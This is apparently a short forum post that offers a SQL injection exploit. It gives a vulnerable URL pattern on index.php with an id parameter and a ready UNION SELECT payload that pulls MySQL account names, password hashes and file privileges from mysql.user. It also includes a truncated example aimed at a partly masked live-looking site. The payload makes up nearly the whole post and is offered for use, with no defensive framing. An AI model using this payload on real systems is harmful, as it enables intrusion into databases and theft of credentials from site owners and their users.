Script sql injection vulnerability

Assalam-0-Alaikum,

Here is an exploit related to Mysql Injection Expert Guide .


It is very small but useful so don't take it lightly, :p

===[ Exploit ]===

http://server/index.php?action=show&id= SQL INJECTION

Quote:

-1+union+select+1,2,3,concat_ws(0x3a,user,password, file_priv),5,6+from+mysql.user--

Example here :

http://xxxx.me/index.php?action=show...m+mysql.user--

So Done It Here.

Regards,

Zulqurnain jutt